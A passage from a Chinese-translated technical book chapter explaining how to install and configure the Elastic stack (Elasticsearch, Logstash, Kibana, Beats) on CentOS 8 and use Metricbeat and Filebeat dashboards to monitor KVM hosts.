Stack(弹性堆栈),唯一的原因是,在撰写本文时,该堆栈中还包括第四个组件。 这个组件被称为 Beats,它代表着对整个系统的重大添加。 - -但让我们从头开始,试着用它的创造者描述它的方式来描述整个系统。 - -## 弹性搜索 - -创建并在社区获得支持的第一个组件是 Elasticsearch,它被创建为一个灵活的、可伸缩的系统,用于索引和搜索大型数据集。 ElasticSearch 用于数千种不同的目的,包括在文档、网站或日志中搜索特定内容。 它的主要卖点和很多人开始使用它的原因是它既灵活又可伸缩,同时速度极快。 - -当我们想到搜索时,通常会想到创建某种查询,然后等待数据库返回某种形式的答案。 在复杂的搜索中,问题通常是等待,因为必须调整我们的查询并等待它们产生结果,这让人精疲力竭。 由于许多现代数据科学依赖于非结构化数据的概念,这意味着我们需要搜索的许多数据没有固定的结构,或者根本没有结构,因此在这个数据池中创建一种快速搜索的方法是一个棘手的问题。 - -想象一下,你需要在图书馆里找到一本特定的书。 此外,假设您没有普通图书馆拥有的所有图书、作者、出版信息和其他所有内容的数据库;您只能搜索所有图书本身。 - -是否有一个工具能够识别这些书籍中的模式,并且可以告诉您诸如*谁写了这本书之类的问题的答案?*或*所有超过 200 页的书籍中有多少次提到 KVM?*是一件非常有用的事情。 这就是一个好的搜索解决方案所做的。 - -如果我们想要快速高效地管理一个或多个物理和虚拟服务器的群集,则能够搜索运行 Apache Web 服务器且特定 IP 地址请求的特定页面出现问题的计算机是必不可少的。 - -当我们监控单个数据点(例如跨数百台主机的内存分配)时,系统信息也是如此。 即使展示这些数据也是一个问题,如果没有正确的工具,实时搜索几乎是不可能的。 - -ElasticSearch 确实做到了:它为我们创造了一种快速浏览大量几乎没有结构化的数据,然后得出有意义的结果的方法。 Elasticsearch 的不同之处在于其可伸缩性,这意味着您可以使用它在笔记本电脑上创建搜索查询,然后只需在搜索 PB 数据的多节点实例上运行这些查询即可。 - -ElasticSearch 也很快,这不仅仅是节省时间的事情。 通过创建和修改查询,然后了解其结果,能够更快地获取搜索结果,从而使您能够更多地了解数据。 - -由于这只是对 elk 实际功能的简单介绍,我们将切换到下一个组件 Logstash,稍后再回来搜索。 - -## Logstash - -Logstash 的目的很简单。 它设计为能够消化生成数据的任意个日志和事件,并存储它们以备将来使用。 存储后,它可以将它们以多种格式导出,如电子邮件、文件、HTTP 和其他格式。 - -关于 Logstash 的工作方式,重要的是它在接受不同输入流方面的通用性。 它并不局限于只使用日志;它甚至可以接受 Twitter 提要等内容。 - -## 基巴纳 - -旧麋鹿堆栈的最后一部分是 Kibana。 如果 Logstash 是存储,Elasticsearch 用于计算,那么 Kibana 就是输出引擎。 简而言之,Kibana 是一种使用 Elasticsearch 查询结果来创建视觉上令人印象深刻且高度可定制的布局的方法。 尽管 Kibana 的输出通常是某种仪表板,但它的输出可以是很多东西,这取决于用户创建新布局和可视化数据的能力。 话虽如此,不要害怕--互联网为几乎所有可以想象到的情景提供了至少部分(如果不是全部)解决方案。 - -接下来,我们要做的是完成 ELK 堆栈的基本安装,展示它的功能,为您指明正确的方向,并演示最流行的*节拍*-**节拍**。 - -在许多方面,使用 ELK 堆栈与*运行*服务器相同-您需要做什么取决于您实际想要完成什么;运行 ELK 堆栈只需要几分钟,但真正的工作才从这里开始。 - -当然,为了充分理解 ELK 堆栈在真实环境中是如何使用的,我们需要首先部署和设置它。 我们下一步就这么做。 - -# 设置和集成麋鹿堆栈 - -值得庆幸的是,Elasticsearch 团队已经准备好了我们需要安装的几乎所有东西。 除了 Java 之外,所有的东西都在他们的站点上进行了很好的分类和记录。 - -您需要做的第一件事是安装 Java-elk 依赖于 Java 来运行,所以我们需要安装它。 Java 有两个不同的安装候选:来自 Oracle 的官方候选和开源 OpenJDK。 因为我们试图留在开源生态系统中,所以我们将安装 OpenJDK。 在本书中,我们使用 CentOS8 作为我们的平台,因此`yum`包管理器将被广泛使用。 - -让我们从必备包开始。 安装 Java 所需的唯一必备程序包是`java-11-OpenJDK-devel`程序包(用当前版本的 OpenJDK 替换“11”)。 因此,在这里,我们需要运行以下命令: - -```sh -yum install java-11-openjdk-devel -``` - -发出该命令后,您应该会得到如下结果: - -![Figure 14.1 – Installing one of the main prerequisites – Java ](img/B14834_14_01.jpg) - -图 14.1-安装主要必备组件之一-Java - -安装后,我们可以通过运行以下命令来验证安装是否成功以及 Java 是否正常工作: - -```sh -java -version -``` - -这是个预期输出: - -![Figure 14.2 – Checking Java's version ](img/B14834_14_02.jpg) - -图 14.2-检查 Java 版本 - -输出应该是当前版本的 Java,并且没有错误。 除了验证 Java 是否正常工作之外,这一步对于验证指向 Java 的路径设置是否正确非常重要-如果您在其他一些发行版上运行,则可能需要手动设置路径。 - -既然 Java 已经安装好并准备就绪,我们就可以继续安装 ELK 堆栈了。 下一步是配置 Elasticsearch 和其他服务的安装源: - -1. We need to create a file in `/etc/yum.repos.d/` named `elasticsearch.repo` that will contain all the information about our repository: - - ```sh - [Elasticsearch-7.x] - name=Elasticsearch repository for 7.x packages - baseurl=https://artifacts.elastic.co/packages/7.x/yum - gpgcheck=1 - gpgkey=https://artifacts.elastic.co/GPG-KEY-Elasticsearch - enabled=1 - autorefresh=1 - type=rpm-md - ``` - - 保存文件。 这里重要的是,存储库是 GPG 签名的,所以我们需要导入它的密钥并应用它,以便在下载包时可以对其进行验证。 - - 您要安装的文件不是免费软件。 ElasticSearch 有两个截然不同的免费版本和付费订阅模式。 使用此存储库中的文件,您将获得基于订阅的安装,该安装将在*Basic*模式下运行,该模式是免费的。 在撰写本文时,Elastic 有四种订阅模式--一种是开源的,基于 Apache License 2.0,并且是免费的;其余的都是封闭源代码,但提供了额外的功能。 目前,这些订阅被命名为基本订阅、金牌订阅和白金订阅。 基本版是免费的,而其他型号需要按月付费订阅。 - - 您将不可避免地问,为什么要选择开源而不是 Basic,或者反之亦然,因为它们都是免费的。 虽然它们都有相同的核心,但 Basic 更高级,因为它提供了核心安全功能和更多在日常使用中可能很重要的东西,特别是如果你想要 Kibana 可视化的话。 - -2. 让我们继续安装并导入必要的 GPG 密钥: - - ```sh - rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch - ``` - -3. Now, we are ready to do some housekeeping on the system side and grab all the changes in the repository system: - - ```sh - sudo yum clean all - sudo yum makecache - ``` - - 如果一切正常,我们现在可以通过运行以下命令来安装`elasticsearch`: - - ```sh - sudo yum install elasticsearch - ``` - - `elasticsearch`或任何其他服务都不会自动启动或启用。 我们必须为它们中的每一个手动执行此操作。 我们现在就开始吧。 - -4. The procedure to start and enable services is standard and is the same for all three services: - - ```sh - sudo systemctl daemon-reload - sudo systemctl enable elasticsearch.service - sudo systemctl start elasticsearch.service - sudo systemctl status elasticsearch.service - sudo yum install kibana - sudo systemctl status kibana.service - sudo systemctl enable kibana.service - sudo systemctl start kibana.service - sudo yum install logstash - sudo systemctl start logstash.service - sudo systemctl enable logstash.service - ``` - - 最后要做的是安装*BEATS*,这是通常安装在受监控服务器上的服务,可以配置为在系统上创建和发送重要指标。 我们现在就开始吧。 - -5. 出于本演示的目的,我们将全部安装它们,尽管我们不会全部使用它们: - - ```sh - sudo yum install filebeat metricbeat packetbeat heartbeat-elastic auditbeat - ``` - -在这之后,我们应该有一个功能系统。 让我们来快速地概述一下。 - -Kibana 和 Elasticsearch 都作为 Web 服务在不同的端口上运行。 我们将通过 Web 浏览器(使用 URL`http://localhost:9200`和`http://localhost:5601`)与 Kibana 交互,因为可视化发生在这里: - -![Figure 14.3 – Checking the Elasticsearch service ](img/B14834_14_03.jpg) - -图 14.3-检查 Elasticsearch 服务 - -现在,我们可以在端口`5601`上连接 to Kibana: - -![Figure 14.4 – Successful connection to Kibana ](img/B14834_14_04.jpg) - -图 14.4-成功连接到 Kibana - -至此,部署流程成功完成。 我们合乎逻辑的下一步应该是创建一个工作流程。 我们现在就开始吧。 - -## 工作流 - -在本节中,我们将建立一个工作流-我们将创建日志和指标,这些日志和指标将被接收到 Logstash 中,通过 Elasticsearch 进行查询,然后以 Kibana 可视化表示。 - -默认情况下,Kibana 在端口`5601`上运行,该端口可以在配置中更改。 - -但这对我意味着什么? 这对 KVM 意味着什么? - -使用弹性堆栈的最大卖点是灵活性和易用性。 无论我们在几十台 KVM 主机中运行一台、10 台还是 1,000 台机器,我们都可以在生产中对它们一视同仁,并建立稳定的监控工作流。 使用极其简单的脚本,我们可以创建完全自定义的指标并快速显示它们,我们可以观察趋势,甚至可以创建近乎实时的监控系统。 所有这一切,基本上都是免费的。 - -让我们创建一个简单的监视器,该监视器将转储运行 ELK 的主机系统的系统指标。 我们已经安装了 Metricbeat,所以剩下的唯一事情就是配置服务以将数据发送到 Elasticsearch。 数据被发送到 Elasticsearch,而不是 Logstash,这仅仅是因为服务互操作的方式。 可以同时发送到 Logstash 和 Elasticsearch,所以我们需要在这里做一些简单的解释。 - -根据定义,Logstash 是存储发送给它的数据的服务。 ElasticSearch 搜索该数据并与 Logstash 通信。 如果我们将数据发送到 Logstash,我们没有做错什么;我们只是转储数据以供以后分析。 但是发送到 Elasticsearch 给了我们另一个特性--我们不仅可以发送数据,还可以以模板的形式发送有关数据的信息。 - -另一方面,Logstash 能够在接收数据之后和存储数据之前立即执行数据转换,因此,如果我们需要解析 GeoIP 信息、更改主机名称等,我们可能会使用 Logstash 作为主要目的地。 记住这一点,不要设置 MetricBeat,使其同时向 Elasticsearch 和 Logstash 发送数据;您只会获得存储在数据库中的重复数据。 - -使用 ELK 很简单,我们不费任何力气就已经安装到这一步了。 当我们开始分析数据时,才是真正问题开始的时候。 即使是来自 MetricBeat 的简单且格式完美的数据也可能很难可视化,特别是如果我们是第一次这样做的话。 为 Elasticsearch 和 Kibana 预制模板可以节省大量时间。 - -请看下面的屏幕截图: - -![Figure 14.5 – Metricbeat dashboard ](img/B14834_14_05.jpg) - -图 14.5-MetricBeat 控制面板 - -只需不超过 10 分钟的设置即可获得像这样的完整仪表板。 让我们一步一步地来看这个。 - -我们已经安装了 Metricbeat,只需要对其进行配置,但在此之前,我们需要配置 Logstash。 我们只需要定义一个*管道*。 - -那么,数据该如何转化呢? - -到目前为止,我们还没有详细介绍 Logstash 是如何工作的,但是要创建我们的第一组数据,我们需要了解 Logstash 的一些内部工作原理。 Logstash 使用管道的概念来定义数据一旦被接收,在数据被发送到 Elasticsearch 之前会发生什么。 - -每条管道都有两个必需的元素和一个可选的元素: - -* 输入始终是管道中的第一个,旨在从源接收数据。 -* 输出是管道中的最后一个元素,它输出数据。 -* 过滤器是一个可选元素,它位于输入和输出之间,以便根据我们可以定义的规则修改数据。 - -所有这些元素都可以从插件列表中选择,以便我们创建一个针对特定目的进行调整的最佳管道。 让我们一步一步地来看这个。 - -我们需要做的只是取消注释位于`/etc/logstash`文件夹中的配置文件中定义的一个管道。 - -整个堆栈使用 YAML 作为配置文件结构的标准,因此每个配置文件都以`.yml`扩展名结束。 这一点很重要,这样才能理解所有没有此扩展名的文件在这里作为配置的示例或某种模板;只有扩展名为`.yml`的文件才会被解析。 - -要配置 Logstash,只需打开`logstash.yml`并取消注释与第一个管道(称为`main`)相关的所有行。 我们不需要做其他任何事。 文件本身位于`/etc/logstash`文件夹中,在进行以下更改后应该如下所示: - -![Figure 14.6 – The logstash.yml file ](img/B14834_14_06.jpg) - -图 14.6-logstash.yml 文件 - -我们需要做的下一件事是配置 MetricBeat。 - -# 配置数据收集器和聚合器 - -在前面的步骤中,我们设法部署了 Metricbeat。 现在,我们需要开始实际配置。 因此,让我们一步一步地了解配置过程: - -1. Go to `/etc/metricbeat` and open `metricbeat.yml`. - - 取消将`elasticsearch`定义为 MetricBeat 目标的行的注释。 现在,我们还需要改变一件事。 找到包含以下内容的行: - - ```sh - setup.dashboards.enabled: false - ``` - - 将前面的行更改为以下内容: - - ```sh - setup.dashboards.enabled: true - ``` - - 我们需要这样做才能加载到仪表板,以便可以使用它们。 - -2. The rest of the configuration is done from the command line. Metricbeat has a couple of commands that can be run, but the most important is the following one: - - ```sh - metricbeat setup - ``` - - 此命令将完成初始设置。 设置的这一部分可能是整个初始配置中最重要的部分-将仪表板模板推送到 Kibana。 这些模板将使您只需单击几下即可启动和运行,而不是学习如何进行可视化和从头开始配置。 您最终将不得不这样做,但对于本例,我们希望让事情尽可能快地运行。 - -3. One more command that you need right now is the following one: - - ```sh - metricbeat modules list - ``` - - 这将为您提供 Metricbeat 已经为不同服务准备的所有模块的列表。 继续并启用其中两个选项`logstash`和`kvm`: - - ```sh - metricbeat modules enable kvm - metricbeat modules enable logstash - ``` - -`logstash`模块的名称令人困惑,因为它不打算将数据推送到 Logstash;相反,它的主要目的是报告 Logstash 服务,并使您能够通过 Logstash 监视它。 听起来很迷惑吗? 让我们重新表述一下:此模块使 Logstash 能够监视自身。 或者更准确地说,它使 BEATS 能够监控弹性堆栈的一部分。 - -KVM 模块是模板,它使您能够收集与 KVM 相关的不同指标。 - -应该就是这里了。 作为预防措施,键入以下命令以检查 MetricBeat 的配置: - -```sh -metricbeat test config -``` - -如果前面的命令运行正常,请使用以下命令启动 MetricBeat 服务: - -```sh -systemctl start metricbeat -``` - -现在,您已经有了一个正在运行的服务,它正在主机上收集数据-与运行 KVM 并将数据转储到 Elasticsearch 的服务相同。 这是至关重要的,因为我们将使用所有这些数据来创建可视化和仪表板。 - -## 在 Kibana 创建图表 - -现在,使用`localhost:5601`作为地址在浏览器中打开 Kibana。 屏幕左侧应该有一个基于图标的菜单。 转到**堆栈管理**并查看**Elasticsearch 索引管理**。 - -应该有一个名为`metricbeat-`**的活动索引。 在此特定示例中,**将是 metricbeat 的当前版本和日志文件中第一个条目的日期。 这完全是任意的,只是确保您知道该实例何时启动的默认设置。 - -在与此名称相同的行中,应该有一些数字:我们感兴趣的是文档计数-数据库保存的对象数量。 就目前而言,如果不是零,我们就没问题。 - -现在,转到**Dashboard**页面,并打开**MetricBeat 系统概述 ECS**仪表板。 它将显示大量表示 CPU、内存、磁盘和网络使用情况的可视化小部件: - -![Figure 14.7 – Overview of the ECS dashboard ](img/B14834_14_07.jpg) - -图 14.7-ECS 控制面板概述 - -现在,您可以单击**主机概述**并查看有关您的系统的更多数据。 尝试使用仪表板和不同的设置。 此仪表板上最有趣的项目之一是屏幕右上角的项目-定义我们感兴趣的时间跨度的项目。 我们可以创建自己的预设,也可以使用其中一个预设,例如`last 15 minutes`。 单击**刷新**按钮后,页面上应显示新数据。 - -至此,您现在已经对 Kibana 有了足够的了解,可以开始使用了,但是我们仍然无法可视化 KVM 数据。 下一步是创建一个涵盖这一点的仪表板。 - -但在我们做这件事之前,先想想你能用我们到目前为止学到的东西做些什么。 您不仅可以监视安装了 KVM 堆栈的本地系统,还可以监视任何能够运行 MetricBeat 的系统。 您唯一需要知道的是 ELK 堆栈的 IP 地址,这样您就可以向其发送数据。 Kibana 将自动处理可视化来自不同系统的所有不同数据,我们稍后将看到这一点。 - -## 创建自定义利用率报告 - -从版本 7 开始,弹性堆栈引入了强制性检查,旨在确保最低限度的安全性和功能遵从性,特别是当我们开始在生产中使用 ELK 时。 - -乍一看,这些检查可能会让您感到困惑--我们引导您完成的安装可以正常工作,但突然之间,当您尝试配置某些设置时,一切都会失败。 这是故意的。 - -在以前的版本中,会执行这些检查,但会在配置项丢失或配置错误时标记为警告。 从版本 7 开始,当系统处于生产状态且配置不正确时,这些检查将触发错误。 此状态自动表示,如果配置不正确,您的安装将无法工作。 - -ELK 有两种不同的操作模式:*开发*和*生产*。 在第一次安装时,假定您处于开发模式,因此大多数功能都是开箱即用的。 - -一旦进入生产模式,情况就会发生很大变化--需要显式设置安全设置和其他配置选项才能使堆栈正常工作。 - -诀窍在于没有明确的模式更改-生产设置和与它们相关联的检查由配置中的某些设置触发。 我们的想法是,一旦重新配置了从安全角度来看可能很重要的内容,就需要重新正确地配置所有内容。 这将防止您忘记一些可能成为生产中的大问题的东西,并迫使您至少从一开始就有一个稳定的配置。 有禁用检查的开关,但在任何情况下都不建议这样做。 - -需要注意的主要问题是绑定接口--默认安装将所有内容绑定到`localhost`或本地环回接口,这对于生产来说是完全合适的。 一旦您的 Elasticsearch 能够形成集群,并且可以通过简单地重新配置 HTTP 和传输通信的网络地址来触发它,您就必须注意检查并重新配置整个系统以使其正常工作。 有关详细信息,请参考 https://www.elastic.co/上提供的文档,从[https://www.elastic.co/guide/index.html](https://www.elastic.co/guide/index.html)开始。 - -例如,在弹性堆栈中配置集群及其所需的所有内容都超出了本书的范围-在我们的配置中,我们将停留在*单节点集群*的范围内。 此解决方案是专门为可以使用单个节点,或者更准确地说,可以使用覆盖堆栈所有功能的单个计算机实例的情况而创建的。 在正常部署中,您将在集群中运行弹性堆栈,但实现细节将取决于您的配置及其需求。 - -我们需要警告您两个关键点-防火墙和 SELinux 设置由您决定。 所有服务都使用标准 TCP 进行通信。 不要忘记,要使服务运行,必须正确配置网络。 - -现在我们已经了解了,让我们回答一个简单的问题:我们需要做什么才能使弹性堆栈与多台服务器一起工作? 让我们一点一滴地讨论这个场景。 - -### 弹性搜索 - -转到配置文件(`/etc/elasticsearch/elasticsearch.yml`),并在发现部分中添加一行: - -```sh -discovery.type: single-node -``` - -使用此部分不是强制性的,但当您稍后必须返回到配置时,使用此部分会有所帮助。 - -此选项将告诉 Elasticsearch 集群中只有一个节点,它将使 Elasticsearch 忽略与集群及其网络相关的所有检查。 此设置还将使此节点自动成为主节点,因为 Elasticsearch 依赖于拥有控制集群中所有内容的主节点。 - -更改`network.host:`下的设置,使其指向将在上使用 Elasticsearch 的接口的 IP 地址。 默认情况下,它指向 localhost,在网络中不可见。 - -重新启动 Elasticsearch 服务,并确保它正在运行并且没有生成错误: - -```sh -sudo systemctl restart elasticsearch.service -``` - -使其正常工作后,请从本地计算机检查该服务是否运行正常。 最简单的方法是执行以下操作: - -```sh -curl -XGET :9200 -``` - -响应应为`.json`格式的文本,其中包含有关服务器的信息。 - -重要音符 - -弹性堆栈有三个(或四个)部分或*个服务*。 在我们的所有示例中,其中三个(Logstash、Elasticsearch 和 Kibana)在同一台服务器上运行,因此不需要额外的配置来适应网络通信。 在正常配置中,这些服务可能在独立的服务器上运行,并在多个实例中运行,具体取决于我们试图监视的服务的工作负载和配置。 - -### 罗斯塔什 - -Logstash 的默认安装是`/etc/logstash`文件夹中名为`logstash-sample.conf`的文件。 此包含一个简单的 Logstash 管道,当我们使用 Logstash 作为 BEATS 的主要目的地时使用。 我们将在稍后讨论这一点,但目前,请将此文件复制到`/etc/logstash/conf.d/logstash.conf`,并在您刚刚复制的文件中更改 Elasticsearch 服务器的地址。 它应该看起来像这样: - -```sh -hosts => ["http://localhost:9200"]. -``` - -将`localhost`更改为您的服务器的正确 IP 地址。 这将使 Logstash 侦听端口`5044`并将数据转发到 Elasticsearch。 重新启动服务并验证其是否正在运行: - -```sh -sudo systemctl restart logstash.service -``` - -现在,让我们学习如何配置 Kibana。 - -### 基巴纳 - -Kibana 也有一些需要更改的设置,但在执行此操作时,需要记住有关此服务的几件事: - -* 就其本身而言,Kibana 是一项通过 HTTP 协议(或 HTTPS,取决于配置)提供可视化和数据的服务。 -* At the same time, Kibana uses Elasticsearch as its backend in order to get and work with data. This means that there are two IP addresses that we must care about: - - A)第一个是将用于显示 Kibana 页面的地址。 默认情况下,这是端口`5601`上的本地主机。 - - B)另一个 IP 地址是将处理查询的 Elasticsearh 服务。 默认设置也是 localhost,但需要将其更改为 Elasticsearch 服务器的 IP 地址。 - -包含配置详细信息的文件为`/etc/kibana/kibana.yml`,您至少需要进行以下更改: - -* `server.host`:这需要指向 Kibana 将在其中放置其页面的 IP 地址。 -* `elasticsearch.hosts`:这需要指向要执行查询的主机(或集群,或多个主机)。 - -重新启动服务,仅此而已。 现在,登录 Kibana 并测试是否一切正常。 - -为了让您更熟悉 Kibana,我们将尝试建立一些基本的系统监控,并展示如何监控多台主机。 我们将配置两个*节拍*:MetricBeat 和 FileBeat。 - -我们已经配置了 Metricbeat,但它是针对 localhost 的,所以让我们先修复它。 在`/etc/metricbeat/metricbeat.yml`文件中,重新配置输出,以便将数据发送到`elasticsearch`地址。 您只需更改主机 IP 地址,因为其他所有内容都保持不变: - -```sh -# Array of hosts to connect to -Hosts: ["Your-host-IP-address:9200"] -``` - -请确保将`Your-host-IP-address`更改为您正在使用的 IP 地址。 - -配置文件节拍基本相同;我们需要使用`/etc/filebeat/filebeat.yml`来配置它。 由于所有节拍都使用相同的概念,因此 fileBeat 和 MetricBeat(以及其他节拍)都使用模块来提供功能。 在这两个文件中,核心模块都被命名为`system`,因此在 fileBeat 中使用以下命令启用它: - -```sh -filebeat modules enable system -``` - -对 metricbeat 使用以下命令: - -```sh -metricbeat modules enable system -``` - -我们之前在第一个示例中提到了这一点,但您可以通过运行以下命令来测试您的配置: - -```sh -filebeat test config -``` - -您还可以使用以下命令: - -```sh -metricbeat test config -``` - -两个节拍都应该说配置是`ok`。 - -此外,您还可以检查输出设置,这将显示输出设置的实际内容以及它们的工作方式。 如果您仅使用本书配置系统,则会出现警告,提醒您连接没有 TLS 保护,否则,输出应使用您在配置文件中设置的 IP 地址。 - -要测试输出,请使用以下命令: - -```sh -filebeat test output -``` - -您还可以使用以下命令: - -```sh -metricbeat test output -``` - -对您要监视的每个系统重复所有这些操作。 在我们的示例中,我们有两个系统:一个运行 KVM,另一个运行 Kibana。 我们还在另一个系统上设置了 Kibana 来测试 syslog 以及它通知我们注意到的问题的方式。 - -我们需要配置 fileBeat 和 MetricBeat 才能将数据发送到 Kibana。 我们将为此编辑`filebeat.yml`和`metricbeat.yml`文件,方法是更改这两个文件的以下部分: - -```sh -setup.kibana -   host: "Your-Kibana-Host-IP:5601" -``` - -在运行 Beats 之前,在全新安装时,您需要将仪表板上传到 Kibana。 您只需要为每个 Kibana 安装执行一次此操作,并且只需要从您监视的系统之一执行此操作-模板将工作,无论它们是从哪个系统上传的;它们将只处理进入 Elasticsearch 的数据。 - -要执行此操作,请使用以下命令: - -```sh -filebeat setup -``` - -您还需要使用以下命令: - -```sh -metricbeat setup -``` - -这将需要几秒钟甚至一分钟的时间,具体取决于您的服务器和客户端。 一旦它说它创建了仪表板,它就会显示它创建的所有仪表板和设置。 - -现在,您几乎已经准备好查看 Kibana 将显示的所有数据: - -![](img/B14834_14_08.jpg) - -图 14.8-摘自 Kibana 仪表板 - -在开始之前,您还需要了解一些关于时间和时间戳的信息。 右上角的日期/时间选取器允许您选择自己的时间跨度或预定义的时间间隔之一: - -![Figure 14.9 – Date/time picker ](img/B14834_14_09.jpg) - -图 14.9-日期/时间选取器 - -重要音符 - -请始终记住,显示的时间是您访问 Kibana 的浏览器/机器时区的*本地*。 - -日志中的所有时间戳对于发送日志的机器来说都是*本地的*。 Kibana 将尝试匹配时区并转换生成的时间戳,但如果您正在监控的机器上的实际时间设置不匹配,则尝试建立事件的时间表将会出现问题。 - -让我们假设您已经运行了 fileBeat 和 MetricBeat。 你能用这些做什么? 事实证明,有很多: - -* 第一件事是发现你的数据里有什么。 在 Kibana 中按下**Discover**按钮(它看起来像一个小指南针)。 如果一切正常,右侧应该会显示一些数据。 -* 在您刚刚单击的图标右侧,一个垂直空白处将填满 Kibana 从数据中获得的所有属性。 如果您看不到任何内容或缺少某些内容,请记住,您选择的时间跨度会缩小将在此视图中显示的数据范围。 尝试将间隔重新调整为**最近 24 小时**或**最近 30 天**。 - -显示属性列表后,您可以快速确定每个属性在您刚刚选择的数据中出现的次数-只需单击任何属性并选择**Visualize**。 还请注意,单击该属性后,Kibana 将向您显示最后 500 条记录中的前五个不同的值。 这是一个非常有用的工具,如果您需要知道,例如,哪些主机正在显示数据,或者有多少个不同的操作系统版本。 - -特定属性的可视化只是一个开始-请注意,当您将鼠标悬停在属性名称上时,名为**Add**的按钮是如何出现的? 试着点击它。 右侧将开始形成一个表格,其中只填充了您选择的属性,并按时间戳排序。 默认情况下,这些值不会自动刷新,因此时间戳将是固定的。 您可以选择任意数量的属性,然后保存此列表或稍后打开它。 - -下一件事我们需要看的是个别的可视化。 我们不打算深入讨论太多细节,但是您可以使用预定义的可视化类型在数据集之外创建您自己的可视化。 同时,您并不局限于只使用预定义的内容-还可以使用 JSON 和脚本,以便进行更多的定制。 - -我们需要了解的下一件事是仪表盘。 - -根据特定的数据集,或者更准确地说,根据您正在监视的特定机器集,其中一些机器将具有仅涵盖特定机器所做或拥有的事情的属性。 一个例子是 AWS 上的虚拟机-它们将拥有一些仅在 AWS 环境中有用的信息。 这在我们的配置中并不重要,但是您需要了解数据中可能有一些属性对于一组特定的机器来说是唯一的。 对于初学者,请选择其中一个系统指标;**系统导航 ECS**用于 MetricBeat 或**Dashboard ECS**用于 FileBeat。 - -这些仪表板以多种方式显示有关您的系统的大量信息。 试着四处点击,看看你能推断出什么。 - -MetricBeat 仪表板更多地面向正在运行的系统,并关注内存和 CPU 分配。 您可以单击和过滤大量信息,并以不同的方式显示这些信息。 以下是 MetricBeat 的截图,让您可以大致了解它的样子: - -![Figure 14.10 – metricbeat dashboard ](img/B14834_14_10.jpg) - -图 14.10-节拍仪表板 - -FileBeat 仪表板更倾向于分析发生了什么并确定趋势。 让我们从系统日志条目部分开始,查看 fileBeat 仪表板中的几个摘录: - -![Figure 14.11 – filebeat syslog entries part ](img/B14834_14_11.jpg) - -图 14.11-文件节拍系统日志条目部分 - -乍一看,你会注意到几件事。 我们显示的是两个系统的数据,这些数据是不完整的,因为它覆盖了我们设置的时间间隔的一部分。 此外,我们还可以看到一些进程比其他进程更频繁地运行和生成日志。 即使我们对特定系统一无所知,我们现在也可以看到日志中显示了一些进程,它们可能不应该出现在日志中: - -![Figure 14.12 – filebeat interactive doughnut chart ](img/B14834_14_12.jpg) - -图 14.12-文件节拍交互式甜甜圈图表 - -让我们来看看`setroubleshoot`。 单击进程名称。 在打开的窗口中,单击放大镜。 这将仅隔离此进程,并在屏幕底部仅显示其日志。 - -我们可以在上快速看到`setroubleshoot`正在向哪台主机写入日志(包括写入日志的频率和原因)。 这是发现潜在问题的快速方法。 在这种特殊情况下,显然应该在此系统上执行一些操作来重新配置 SELinux,因为它会生成异常并阻止某些应用访问文件。 - -让我们沿着垂直导航栏移动,并指出一些其他有趣的功能。 - -从上到下,下一个重要功能是**Canvas**-它使我们能够使用正在收集的数据集的数据创建实时演示文稿。 界面与其他演示程序类似,但重点在于直接在幻灯片中使用数据和几乎实时地生成幻灯片。 - -下一个是**Maps**。 这是 7.0 版的新增功能,允许我们创建数据的地理表示。 - -**接下来是机器学习**-它使您能够处理数据,并使用它来“训练”过滤器,并用它们创建管道。 - -**基础设施**也很有趣--当我们提到仪表板时,我们谈论的是灵活性和定制化。 基础架构是一个模块,它使我们能够以最少的努力进行实时监控,并观察重要的指标。 您可以将重要数据显示为表格、气球状界面或图形。 数据可以用其他方式求平均值或表示,所有这些都可以通过一个高度直观的界面来完成。 - -心跳是另一个高度专业化的主板-顾名思义,它是跟踪和报告正常运行时间数据,并快速注意到是否有东西离线的最简单的方式。 清点主机要求在我们要监视的每个系统上安装心跳服务。 - -**SIEM**应该有一个更彻底的解释:如果我们认为仪表板是多用途的,那么 SIEM 正好相反;创建它是为了能够跟踪所有可归类为与安全相关的系统上的所有事件。 本模块将在搜索 IP、网络事件、源、目的地、网络流量和所有其他数据时解析数据,并创建有关您正在监视的计算机上发生的情况的简单易懂的报告。 它甚至提供异常检测功能,使弹性堆栈能够作为高级安全目的的解决方案。 此功能是付费的,需要支付最高的层级才能运行。 - -**堆栈监视器**是另一个值得注意的板,因为它使您能够实际看到弹性堆栈的所有不同部分中正在发生的事情。 它将显示所有服务的状态、它们的资源分配和许可证状态。 **Logs**功能特别有用,因为它跟踪堆栈正在生成的哪种类型的日志数量,如果有问题,它可以快速指出问题。 - -此模块还为服务生成统计数据,使我们能够了解如何优化系统。 - -**已经提到了底部的最后一个图标-管理**-它允许管理集群及其部件。 在这里,我们可以看到是否有我们期待的指标,是否有数据流入,我们是否可以优化一些东西,等等。 这也是我们可以管理许可证和创建系统配置快照的地方。 - -## 麋鹿和 KVM - -最后但并非最不重要的一点是,让我们创建一个系统量规,它将向我们显示来自 KVM 虚拟机管理器的参数,然后以几种方式将其可视化。 实现这一点的先决条件是正在运行的 KVM 虚拟机管理器、安装了 KVM 模块的 metricbeat,以及支持从 metricbeat 接收数据的弹性堆栈配置。 让我们来了解一下 ELK 在这个特定用例中的配置: - -1. First, go to the hypervisor and open a `virsh` shell. List all the available domains, choose a domain, and use the `dommemstat –-domain ` command. - - 结果应该是这样的: - - ![Figure 14.13 – dommemtest for a domain ](img/B14834_14_13.jpg) - - 图 14.13-域的 dommemtest - -2. Open Kibana and log in, go to the **Discover** tab, and select `metric*` as the index we are working with. The left column should populate with attributes that are in the dataset that metricbeat sends to this Kibana instance. Now, look at the attributes and select a couple of them: - - ![Figure 14.14 – Selecting attributes in Kibana ](img/B14834_14_14.jpg) - - 图 14.14-选择 Kibana 中的属性 - - 您可以使用按钮选择字段,只要您将鼠标光标悬停在任何字段上,该按钮就会立即出现。 取消选择它们也是如此: - - ![Figure 14.15 – Adding attributes in Kibana ](img/B14834_14_15.jpg) - - 图 14.15-在 Kibana 中添加属性 - -3. For now, let's stick with the ones we selected. To the right of the column, a table is formed that contains only the fields you selected, enabling you to check the data that the system is receiving. You may need to scroll down to see the actual information since this table will display all the data that was received that has at least one item that has a value. Since one of the fields is always a timestamp, there will be a lot of rows that will not contain any useful data for our analysis: - - ![Figure 14.16 – Checking the selected fields ](img/B14834_14_16.jpg) - - 图 14.16-检查选定的字段 - - 我们在这里看到的是,我们获得的数据与在受监控服务器上运行命令行得到的数据相同。 - - 我们需要的是一种使用这些结果作为数据来显示我们的图表的方法。 单击屏幕左上角的**保存**按钮。 使用稍后可以找到的名称;我们使用的是`dommemstat`。 保存搜索。 - -4. Now, let's build a gauge that will show us the real-time data 